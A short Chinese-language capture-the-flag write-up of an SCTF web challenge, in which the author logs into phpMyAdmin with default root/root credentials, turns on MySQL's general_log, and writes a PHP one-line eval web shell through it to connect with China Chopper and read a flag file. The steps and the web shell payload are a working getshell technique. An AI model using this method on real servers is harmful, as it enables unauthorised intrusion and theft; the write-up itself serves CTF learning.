SCTF的web最简单题，好难好难好难。
直接进去就是PHPmyadmin界面（即mysql的网页界面），需要登录密码，这个我当时没有破解出来，谁知道账号密码是root/root咩，要是当时账号密码同时破，或许就很好了。
进入后，可见，，，，，，，啊啊啊，登不进去了，是的，有人改密码，继续。进入后，就看见了一句话木马，参赛选手做了这项操作。一般数据库方面的就是使一句话木马存在于某个文件中，然后用中国菜刀连接即可登录服务器，寻找各种秘密信息，这就是phpmyadmin的getshell方法。本题就是这样。如下图所示
那首先，要想办法找出存储这些信息的数据文件。关键是general_log，它会启动跟踪SQL的执行记录的开关，emmmmmm
1.设置general_log
查找此字段，语句为：
show variables like 'general_log';
如果它是关闭的，如下图
启动它即可，命令为：
set global general_log=on;
查看结果（show VARIABLES like 'general_log';）如下。
启动之后，就可以愉快地设置它的记录文件了，这里用到关键词general_log_file。
2.设置general_log_file
此字段设置执行语句记录的输出文件。查看一下子它现在的文件指向。
show variables like 'general_log_file';
OK，随便输入包含一句话木马的执行语句。
select '<?php @eval($_POST[wz]) ?>';
用中国菜刀连接即可，在C盘看到flag.txt，打开即愉快地结束-。-